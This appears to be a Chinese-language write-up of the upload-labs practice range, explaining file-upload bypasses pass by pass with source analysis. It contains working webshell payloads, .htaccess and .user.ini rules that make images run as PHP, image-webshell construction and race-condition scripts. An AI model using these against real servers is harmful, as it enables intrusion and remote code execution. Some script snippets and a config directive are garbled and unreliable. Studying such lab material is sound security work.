webshell

WebShell是一种以asp、php、jsp或cgi等网页文件形式存在的代码执行环境,也可以称为一种网页后门。它具有以下特点:可以远程执行命令、上传下载文件、修改文件权限等。WebShell根据功能和特点可以分为不同的类型,包括内存马和WebShell管理工具

关于文件上传漏洞

文件上传漏洞主要是由于服务器端对用户上传的文件过滤不严导致被攻击者传入运行具有恶意代码的文件从而导致安全风险

文件上传漏洞需要满足的条件

Web容器解释执行: 如果上传的文件能够被Web容器解释执行,特别是对于一些动态网页语言(如PHP、ASP、JSP等),攻击者可能通过上传包含恶意代码的文件来实现远程代码执行。这强调了对上传目录的权限和配置的重要性,确保攻击者无法直接上传并执行恶意脚本。

用户可通过Web访问: 文件上传漏洞的威胁在于攻击者能够通过Web访问上传的文件。如果文件上传成功但用户无法通过Web访问,那么漏洞的影响将受到限制。这也强调了对上传文件目录的访问权限和Web服务器配置的考虑。

内容修改和安全检查: 通过对上传的文件进行安全检查、格式化、图片压缩等操作,可以防止攻击者成功地执行某些类型的攻击。例如,通过在上传的图片中注入恶意代码来绕过检查并执行攻击。确保对上传文件进行严格的内容检查和处理是很关键的。

一些变量

1
2
3
4
5
$_FILES["file"]["name"]  被上传文件的名称(文件在客户端机器上的原始名称。)
$_FILES["file"]["type"] 被上传文件的MIME类型
$_FILES["file"]["size"] 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] 由文件上传导致的错误代码

pass-01 前端绕过

法一:这关我们打开f12就可以发现这是一个前端js书写的waf我们只需要在控制台禁用js就可以上传成功。

法二:我们可以使用bp来对其进行抓包,我们先将一句话木马的后缀改为gif在上传对其进行抓包,抓包后我们在修改其文件的后缀名即可

我们查看一下这个的拦截代码。学习一下

我们可以看见document.getElementsByName(‘upload_file’)[0].value这串代码下面是解释
getElementsbyName的作用是通过表单名称也就是upload_file来获取元素,也就是你上传文件的一些信息
[0]: 这部分是数组索引,它选择了获取到的元素列表中的第一个元素。因为 getElementsByName 返回的是一个 NodeList(节点列表),即使只有一个元素也需要使用索引来访问。
.value: 一旦获取到元素,.value 用于获取该元素的值。对于文件上传表单元素,它将返回所选择的文件的路径。
综合起来,整行代码的目的是将文件上传表单中选择的文件的路径赋值给变量 file。这通常在文件上传验证的过程中用于检查用户是否选择了文件。值得注意的是,由于安全原因,浏览器不允许 JavaScript 直接访问文件路径的完整信息,因此实际上这只是返回了文件名而不是完整路径。

alert()函数是js代码弹出信息小窗口的函数

file.substring(file.lastIndexOf(“.”));
这串代码中lastIndex0f的作用是获取.最后一次出现的引索也就是最后一次出现的位置,file.lastIndexOf(“.”)就是获取file变量中.最后一次出现的位置,而substing()里面的变量若为一个则返回该位置到末尾的字符串
综合起来,file.substring(file.lastIndexOf(“.”)) 会提取文件名中的文件扩展名。例如,如果 file 是 “example.jpg”,那么这个代码将返回 “.jpg”。这对于在文件上传时验证文件类型是非常有用的。

allow_ext.indexOf(ext_name + “|”): indexOf 是字符串方法,用于查找字符串中是否包含指定的子字符串。在这里,它查找 allow_ext 中是否包含 ext_name + “|” 这个子字符串。ext_name 是上传文件的扩展名,然后在其后面添加一个竖线 “|”。这是为了确保只有完整的扩展名匹配,而不是部分匹配。

== -1: 如果 indexOf 方法没有找到匹配的子字符串,它将返回 -1。因此,allow_ext.indexOf(ext_name + “|”) == -1 表示上传文件的扩展名不在允许上传的文件类型列表中。

pass-02

这道题目考察的MIME绕过。
MIME是一种标识文件类型的标准。其标识分为:
主类型:描述了文件的大类如:文本,音乐,图片等
小类型:表示精确到文件的具体类型
如:
文本文件的 MIME 类型是 text/plain。
JPEG 图片的 MIME 类型是 image/jpeg。
MP3 音频的 MIME 类型是 audio/mp3。
在文件上传和下载、Web 开发等场景中,MIME 类型的正确设置对于确保文件按预期方式处理和显示至关重要。例如,在 Web 开发中,服务器通过设置 HTTP 头部中的 Content-Type 字段来指定响应的 MIME 类型。

题解

通过上述的描述我们可以知道MIME在web中是通过http的请求头中的Content-Type来指定类型的,也就是说我们可以进行抓包从而修改Content-Type的值从而修改后端所识别的MIME。

上传姿势一

我们可以直接上传后缀名被修改为jpg的一句话木马,在抓包软件中对其后缀名进行修改。

我们可以看见其标头Content-Type为image/jpeg我们将文件的后缀名进行修改,成功绕过。那么也就证明了后端值查询标头传入的内容而不直接查询文件。这就是MIME的弊端

姿势二 MINE绕过

我们从上一个方法可以了解到只要Content-Type所表示的文件格式为照片文件就可以成功上传那么我们就可以直接上传php文件然后修改Content-Type以此来绕过

我们直接将Content-Type改为image/jpeg成功上传

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$is_upload = false; // 标志文件是否成功上传的变量
$msg = null; // 存储上传结果消息的变量

if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { // 检查上传目录是否存在
// 检查上传文件的类型是否是允许的图片类型(JPEG、PNG、GIF)
if (
($_FILES['upload_file']['type'] == 'image/jpeg') ||
($_FILES['upload_file']['type'] == 'image/png') ||
($_FILES['upload_file']['type'] == 'image/gif')
) {
$temp_file = $_FILES['upload_file']['tmp_name']; // 临时副本
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
// 上传文件的目标路径(就是将目录和名字还/用.来拼接)

// 将临时文件移动到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 标记文件上传成功
} else {
$msg = '上传出错!'; // 文件移动失败时的错误消息
}
} else {
$msg = '文件类型不正确,请重新上传!'; // 文件类型不符合要求时的错误消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 上传目录不存在时的错误消息
}
}
?>

move_uploaded_file($temp_file, $img_path)函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。
语法:
move_uploaded_file(file,newloc)
file 必需。规定要移动的文件。
newloc 必需。规定文件的新位置。
通过分析我们可以知道,这个源码是将文件的MIME类型进行比较,如果为照片类型且文件没有重复上传则可以进行上传

pass-03 php4,5绕过,pb重发器响应查看随机数文件名字

该题目使用虽然禁止了php,但是没有禁止php2,php3,php4,php5,PHTML,pht等
但是我们可以看到多了一个代码$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;我们都知道$img_path变量为文件上传的路径,而该题目和其他题目有所不同该题目的文件路径名也就是变量$img_path为文件名UPLOAD_PATH加上/在加上date(“YmdHis”)也就是系统时间在加上rand(1000,9999)也就是1000到9999的随机数。
使用这题我们需要用bp抓包利用重发器,后再查看响应之后便可以查看到上传的文件位置。

pass-04 .htaccess绕过

我们可以看到基本上把所有的文件都给禁了那么就需要请出分布式配置文件.htaccess了,这个文件与apache部署的网站有关,httpd.conf就是apache服务器的配置文件,但是由于在多人开发时,随意修改http.conf文件会导致配置可能出现问题,那么我们就需要使用分布式配置文件.htaccess了。这个文件会与httpd.conf相似。会将覆盖该文件的目录及其子目录下的http.conf的全局配置那么我们就可以利用这个文件来将修改其配置使我们成功上传。
1.修改配置使其将jpg文件当成php执行。

1
AddType application/x-httpd-php .png

我们只要上传.htaccess在上传.png的一句话木马在用蚁剑连接即可。
2.若文件名包含.php关键词便按照php文件运行
1
AddHandler php5-script .php

3.指定文件名称使其以php形式执行
1
2
3
<FileMatch "muma">
SetHandler application/x-httpd-php
</FileMatch>

直接上传一个名字包含muma的文件后,使用蚁剑
strrchr($file_name, ‘.’)
反会最后一个.及其后面的字符串
trim($_FILES[‘upload_file’][‘name’]);
删去两边空格

pass-05 .user.ini绕过

这道题目我们发现连.htaccess都过滤了,那么我们观察源码发现只有对点和空格进行一次删除给那么我们就可以用bp抓包将后面的后缀改为php. .同理前面的题目也可以这么绕过。

法二

这题目我们可以使用种php的配置文件叫做.user.ini。我们知道php.ini而.user.ini文件是php的配置文件这个是php的用户级配置文件,因为这关的没有禁用php用户级配置文件即.user.ini所有我们可以使用这个配置文件进行文件上传。

1
auto_prepand_file=muma.jpg

上面的意思为将muma.jpg的内容拼接到所有php文件里
然后我们上传.user.ini在上传muma.jpg这样就会是muma.jpg的内容被拼接的php文件里

pass-06 大小写绕过

这道题目我们审查代码发现了一个问题就是缺少了strtolower()函数导致我们上传的文件名不会被改为小写。而字符串的匹配函数in_array()匹配字符串是否存在于数组中这也就导致我们可以使用大写的PHP以此来绕过因为大写PHP不在数组deny_ext。所有我们可以绕过

pass-07 空格绕过

这道题目我们查看源码发现其因为缺少了trim()函数所有我们可以使用空格绕过就是再后锥后加一个空格。我们再仔细看看会发现这道题目在的文件上传目录又使用了时间和随机数那么我们就仍然还是使用bp查看响应查找文件名字。

pass-08 点绕过

观察这题的源码我们发现其缺少了一个函数deldot()函数(删除字符串末尾点的函数)又因为windows会自己将末尾落单的空格和.会自己删除,我们可以在末尾添加一个.来绕过这道题目。

pass-09 ::$DATA绕过

该题目我们查看源码可以发现其缺少了一个将字符串::$DATA变为空的替换函数str_ireplace()这样导致了我们可以将文件后缀名改为.php::$DATA因为windows会将`::$DATA后面的的数据当成文件流处理,windows会::$DATA忽略即我们上传道windows主机后文件后缀名变为了php。而在进行检测时函数所提取出来的文件后缀名为.php::$DATA使用我们可以使用::$DATA来绕过文件后缀检测
我们用bp抓包在后缀添加::$DATA上传文件。又因为该题目又会将名字改为一大串数子所有我们要再查看响应来查看文件上传的文件名。

pass-10 点空格绕过

我们查看提示发现只能上传图片文件,但是我们又无法上传分布式配置文件.htaccess和用户配置文件,.user.ini所以该题目我们只能使用

点空格绕过:

我们从源码可以看到该源码只将空格和点检测一次所以我们可以使用. .这回导致函数将点删除后遇到空格后停止删除之后再清除空格这个就会导致只删除了一个点和空格这样就会导致留下一个点这就会使上传成功。

pass-11

该题目我们可以查看源码发现其过滤函数从in_array变为了ireplace()的替换函数只要出现php就会直接删除,该题目我们可以采取双写绕过,该题目检测字符进行替换是从左到右的所以我们需要将php变为pphphp这样在上传后就会变为php,但是注意不可以使用phphpp这样会导致先替换最左边的php导致上传的文件后缀变为.hpp。

pass-12

该题目我们阅读源码发现我们可以利用GET传值控制文件路径,这时候我们要引入一个概念%00截断,在文件路径中只要遇到%00就会停止,也就是说我们可以用bp抓包然后用get传值传入一个路径如upload/muma.php%00,这样%00就会起到截断作用使之后的添加的路径失效,也就是文件名变为了muma.php注意%00截断需要在5.3.4版本以下的php才可以起到作用

pass-13

该题目我们查看源码可以发现其于路径可由post传参来控制,那么我们的思路就和上一题一样利用bp抓包来传值一个路径,再使用%00截断,注意因为post无法解析url编码我们有以下两种方法解决
1.使用url解码

2.将其转化为16进制编码

pass-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

审查该代码我们可以发现这个getReailfileType()的函数的作用为根据文件的名称来以二进制的方法打开文件,再使用fread()函数来读取两个字节,这两个字节为文件头,而文件头就记载着文件的类型,不同类型的文件文件头也不相同,之后使用@unpack函数来将两个字节的二进制代码解包成两个字符,这两个字符以数组的形式保存再变量里,其下标名为char1和char2,之后再利用intval来将两个字符转换为10进制的整形。之后再将数值与switch函数里的case进行比较,这样就可以得到文件的真正类型。就是因为这个原因导致我们无法上传其他文件。
由于修改文件的后缀并不会影响其文件头所以我们就是修改文件的后缀也无法上传php文件
该题目需要我们上传一个图片马,也就是将一个图片和一句话木马合成成一个图片文件,当然图片马也表示任何题目都可以使用的。

图片马的使用条件

只有当题目如果出现文件包含漏洞如include $flag这个flag可控的时候才可以使用。
由于这种函数会直接将包含的文件当成php文件执行所以当出现文件包含漏洞时我们上传图片马,并使图片马被包含这样服务器就会执行图片里的php代码我们就可以成功过关。

图片马的制作

我上面有说图片马使用利用一个图片和一句话木马拼接成的新图片
我们可以使用windows自带的cmd来进行拼接。我们在该目录下的顶上的目录上输入cmd如下

打开cmd然后输入以下代码

1
copy 1.png/b+muma.php/a a.png

这样我们就成功创造了一个图片马,a.png我们使用010打开这个图片我们可以看见其文件的尾部包含了一句话木马,用010打开

这时我们上传该图片马查看代码我们可以看到其文件名又变成了随机数,那么我们就仍然需要使用bp来查看响应。
我们可以在该靶场在文件目录中存在着文件包含漏洞的代码文件include.php而且在include.php的同一级文件夹下存在upload文件夹upload文件夹下就是我们所存的图片马。

我们用get传值upload/图片马名称进行文件包含(由于直接导入一句话木马只回显一堆乱码所以我加了一个phpinfo()方便查看)

可以看见我们成功导入了这个文件

pass-15

这道题目和14关没有什么区别只是过滤的方法发生了改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

分析代码,getimagesize()这个函数的作用使取得图片文件的属,保存成数组

索引0为像素值宽度。
索引1为像素值高度.
索引2为图片的类型
索引3给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image>标签索引 bits 给出的是像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);

函数image_type_to_extension()的参数值为整形,返回值为图像文件的后缀

1.为gif
2.为jpeg
3.为png

stripos

返回的值为字符串ext在types出现的位置,如果匹配不到返回false

所以这到题目我们仍然使用图片马进行绕过
1:使用bp上传图片马,查看重发器响应里的文件上传名称和位置

2:使用服务器目录下的include.php文件包含上传的图片马

pass-16

该题目与上面的题目没有大区别所以我们直接审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

上面是判断是否为图片类型的function,exif_imagetype($filename)该函数是判断图片的类型的函数,返回内容为图片的MIME值,$filename是文件的路径
1
2
3
IMAGETYPE_GIF gif文件
IMAGETYPE_JPEG jpeg文件
IMAGETYPE_PNG png文件

之后的操作如上一题我就不多赘述了。注意要开启php的exif模块

pass-17

其中这个代码中的@表示无错误提示符,即使出现错误也不会报错,因为我们这个一句话木马中的1这个变量是没有定义的,这也就导致了我们在正常运行时会出现报错,但是由于这个@,使得不会出现报错可以运行下去,而eval()是php中一个函数,这个函数会将字符串当成代码运行,而$_POST[]是使用post传值,这样我们就可以使用这个一句话木马,像服务器不断发送代码以此来查询数据。而我们常使用的蚁剑的原理就是向一句木马传入大量的语句,以此来得到许多的权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

我们对上述代码进行审计,substr(strrchr($filename,”.”),1);strrchr($filename, “.”):这个函数返回 $filename 字符串中最后一个点(.)及其后面的部分。它返回的是从最后一个点开始到字符串末尾的所有字符,包括点本身。如果在文件名中找不到点,它将返回 false。函数substr(str,1)是返回第二个开始的字符串

imagecreatfromjpeg($target_path)

该函数是创建一个图像标识符,我们可以对图像标识符进行各种各样的图像处理操作如缩放、裁剪、添加水印等。

imagejpeg(图像标识符,路径,控制质量)

该函数是将图像标识符保存在新路径下,保存成功返回true否则返回false,而第三个参数为控制质量,0最差100最好而默认值为75是一个很高的压缩,这也就会导致该图像文件的二进制编码发生改变,使得我们的图片马里的php代码的二进制编码也发生改变,也就导致了图片马的失效

该函数会删除文件

整合起来的意思就是获取上传文件的图像标识符,将标识符保存在新的路径下(这样保存的文件就只剩下了图片,没有了一句话木马),之后删除原上传文件。也就是对文件进行了二次渲染,二次渲染导致图片马失效的原因是函数imagejpeg()具体原因在上面已经讲过了。

题解

he我们可以尝试使用gif的文件马
在对 GIF 图像进行二次渲染时,保留一些内容的原因可能与 GIF 图像的特性有关。GIF 是一种支持无损和有损压缩的图像格式,同时还支持多帧动画。
以下是可能导致二次渲染时保留一些内容的原因:

有损压缩: 如果原始 GIF 图像经过有损压缩,渲染并重新保存时可能会损失一些细节。相反,如果使用无损压缩,则可能能够更好地保留原始图像的质量。

颜色表和调色板: GIF 使用调色板(Color Palette)来限制图像中使用的颜色数量。当对 GIF 图像进行渲染时,可能会重新生成调色板或者对现有调色板进行调整,导致颜色的微小变化。

帧合并: GIF 图像可以包含多个帧,形成动画。在重新保存时,可能会对这些帧进行一些处理,例如合并相邻帧以减小文件大小,但这也可能导致一些细微的变化。
图像编辑操作: 如果在渲染前对 GIF 图像进行了编辑,如裁剪、调整大小、添加文本等操作,这些操作可能会影响图像内容。

为了更好地理解保留内容的具体原因,建议比较原始 GIF 图像和经过渲染后的 GIF 图像的二进制数据,以查看发生了什么变化。使用二进制文件比较工具或编程语言中的二进制文件比较方法可以帮助你检测图像数据的差异。
我们先上传一个gif文件,使用010打开上传后的文件打开可以发现有一大段与原图片是一模一样的,这样我们就可以尝试在未改变的区域写下php代码实现文件上传获取shell

法二条件竞争

这关我们还有第二个方法就是利用条件竞争,我们审查代码可以发现该代码是先将我们上传的图片马进行一次保存,然后再渲染,最后才用unlink代码进行删除,所以我们可以尝试使用条件竞争来进行绕过,
原理为,再短时间内向服务器发生多个图片马,由于代码的执行是需要时间的,而该代码因为没有锁,导致了可以同时被执行,也就导致了该图片马虽然被删除,但是还存在前一小端时间内传入的图片马,也就是图片被删除的同时又新的图片马被保存。而且第一次保存并没有对文件名进行随机数处理所以我们可以产生使用bp进行多线程发生图片马,之后尝试再浏览器中包含图片马,该图片马就有可以被执行。我们可以用如下的图片马

1
<?php fputs(fopen('..upload/muma.php','w'),'<?php @eval($_POST[lisien11]);phpinfo();?>');?>

这个代码的意思是使用写入方式打开文件muma.php如果目录下没有muma.php fopen()就会创建一个muma.php的空文件,而fputs是将<?php @eval($_POST[lisien11]);phpinfo();?>写入muma.php文件所以只要运行该代码就会在upload下导入一个muma.php文件下面写着一句话木马
我们使用多线程爆破可以使用bp的intruder模块来进行爆破,我们将抓到的包发到intruder,清空payload的位置,之后将payload类型设置为null进行爆破多线程发包

在发包的同时我们使用python来打开一个url,该url就是文件包含的url这样只要成功打开url就可以将<?php @eval($_POST[lisien11]);phpinfo();?>写入到muam.php里了代码如下
1
2
3
4
5
6
7
8
9
import requests
url="http://192.168.32.1/upload-labs/include.php?file=upload/muma.jpg"
while True
html=requests.get(url)
if 'warning' not in str(html.text)
print("ok")
break
else
print("no")

在开始多线程发包同时在打开脚本。
我在网上看是有人成功的,但是当我使用include包含时回发生报错,有可能是读写权限的原因

pass-18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

分析源码
我们可以发现该代码是先将上传的文件用move_uploaded_file()将发送的文件先保存在服务器上然后在检测其文件后缀,如果后缀错误再使用unlink删除文件。
我们可以看出这道题目我们需要使用条件竞争来写。我们可以使用bp发送大量文件,服务器刚删除便上传一个php文件而我们可以使用上一题一样的php文件代码,

1
<?php fputs(fopen('..upload/muma.php','w'),'<?php @eval($_POST[lisien11]);phpinfo();?>');?>

我们只要能在url上访问到该php文件,服务器便会执行该文件,这样就会再上传目录下生成一个muma.php内容为<?php @eval($_POST[lisien11]);phpinfo();?>的php文件。
同意我们可以使用python脚本来访问该文件
1
2
3
4
5
6
7
8
9
import requests
url=http://192.168.32.1/upload-labs/upload/2.php
while True
html=requests.get(url)
if html.status_code==200:
print("OK")
break
else:
print("NO")



再进行发包同时打开脚本,可以发现再文件夹下成功出现了muma.php

poss-19

这道题目我们进行代码审查,发现这道题目的主要步骤为,检查后缀,保存文件,重命名文件,那么这道题目也可以使用条件竞争做法与上题相似只是脚本有些许不同

法一条件竞争

1
2
3
4
5
6
7
8
9
import requests
url="http://192.168.32.1/upload-labs/include.php?file=upload/muma.jpg"
while True
html=requests.get(url)
if 'warning' not in str(html.text)
print("ok")
break
else
print("no")

poss-20

pathinfo(path,options):
作用:以数组的形式返回文件路径的信息。
语法:

1
2
3
4
5
6
path  必需。规定要检查的路径。
process_sections 可选。规定要返回的数组元素。默认是 all。
可能的值:
PATHINFO_DIRNAME - 只返回 dirname(所在路径)
PATHINFO_BASENAME - 只返回 basename(文件名)
PATHINFO_EXTENSION - 只返回 extension(后缀名)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

我们可以POST方法控制文件名字。
我们可以看到一个保存的函数move_uploaded_file()这个函数可以使用%00截断绕过,还会忽略文件尾部的/.我们可以再文件尾巴上传后缀为php/.或php%00来绕过

pass-21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

$_FILES[‘upload_file’]
name: 上传文件的名称,即用户在本地计算机上选择的文件名。
type: 上传文件的 MIME 类型。
tmp_name: 上传文件被存储在服务器上的临时文件名。
error: 上传过程中的错误码。
size: 上传文件的大小,以字节为单位。
empty()检查是否为空为空返回True
expload()将字符串以特定字符分割成多个数组。如下

1
$name=explode('.', strtolower($file))

$file转为小写后以.为分隔符来将字符串分割保存再数组中,若$file=llll.SSS.ee
会变为
1
2
3
$name[0]=>llll
$name[1]=>sss
$name[2]=>ee

1
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

这段代码我们都可以看出来,是对file变量进行赋值,利用了三目运算符,如果有使用POST向save_name传值那么file就会被赋值为$_POST[‘save_name’]。
之后将该字符串分割为数组,之后进行了一次判断,数组最后的一个字符串是否在白名单里能寻找到,最后将文件保存,我们重点分析一下文件上传的路径
1
2
$file_name = reset($file) . '.' . $file[count($file) - 1];
$img_path = UPLOAD_PATH . '/' .$file_name;

该代码将file_name与UPLOAD_PATH进行拼接成了文件上传路径,file_name的命名是将file数组的第一个与以数量减一为下标的数组元素进行拼接。
那么我们就可以将POST上传的内容改为数组,那么就可以绕过expload()函数那么我们只要上传一个有两元素,第二个下标为2的数组,那么这就会导致在end($file)时返回的时file[2]但是$file[count($file) - 1]的返回值为file[1]二这个元素我们没有上传,那么该值就为空,那么file_name就变为了reset($file)也就是第一个元素,也就下标为0的元素

我们只要使用bp抓包传入数组,元素有两个没有下标1,那么就可以成功绕过。

总结

这个靶场也已经刷完了,这个靶场给我的感觉就是,代审,代审,还是tm的代审。
在刷这个靶场的时候有一大堆不认识的函数,而且所有漏洞基本是代审出来的。在刷完这个靶场后感觉自己代审能了得到了提高。也认识了很多绕过的方法下面是总结

一般过滤函数

1
2
3
4
5
6
7
8
9
10
11
  后端过滤一般用到的函数:
trim()去除字符串两边的空格
deldot()删除文件名末尾的点号
strrchr()反向截取字符串
strtolower()转化为小写
str_ireplace()替换字符串中的内容
substr()获取子字符串
strrpos()获取字符串的位置信息
fopen()打开文件
fread()读取文件
unpack()函数从二进制字符串对数据进行解包

绕过方式

1.前端绕过也是最简单的绕过,一般只要禁用前端代码,和使用bp抓包便可以绕过
2.MIME绕过,MIME在向后端发送文件类型的方式是,使用响应头Content-type所以可以使用bp抓包直接修改该请求头的内容
3.%00截断绕过,在我们可以操控上传路径的时候可以使用该方法进行绕过,原理为在上传时将后面的路径截断。若可以传值为POST传值需要将%00使用url解码
4.大写绕过,在没有将后缀大写转换成小学这个操作且匹配函数不可以进行对大小写不敏感的匹配时使用,如在遇到in_array函数时由于该函数是直接匹配是否在数组内导致其无法区分大小写。
5.双写绕过,如果过滤函数为替换函数如ireplace这种函数,且将关键字转换为空时可以使用双写进行绕过,基本原理与sql注入时双写绕过相似
6.点空格绕过,当删除.和空格的函数只会进行一次检测时,我们可以使用点空格绕过在后缀的后面加入. .会因为,没有完全删除.导致其无法截到真正的后缀使其绕过
7.点绕过,空格绕过当过滤时缺少删除点和空格的函数时我们可以使用该绕过。
8.当过滤十分完善无法直接上传php文件但是存在文件包含漏洞时我们可以使用文件包含图片马来获取shell
9.二次渲染使用gif图片来绕过,绕过存在文件包含漏洞可以尝试条件竞争,在使用文件包含漏洞来包含图片马来植入php
10.条件竞争,由于文件在上传后被短暂保存后才进行验证删除,且没有锁导致可以使用条件竞争
11..htaccess文件和user.ini这两个文件可以配置php的一些配置导致我们上传的jpg文件可以被当成php文件执行代码如下

将jpg文件当成php文件执行

1
AddType application/x-httpd-php .jpg

将文件名含有php的文件当成php文件执行
1
AddHandler php5-script php

指定名称的用php代码执行
1
2
3
  <FilesMatch "muam">
SetHandler application/x-httpd-php
</FilesMatch>

下面时user.ini文件的
1
auto_prepand_file=muma.jpg

作用是将muma.jpg文件写的内容加到所以php文件下。
13,$::DATA绕过由于windows会自动省略该字符串所以在上传后.php::$DATA变为.php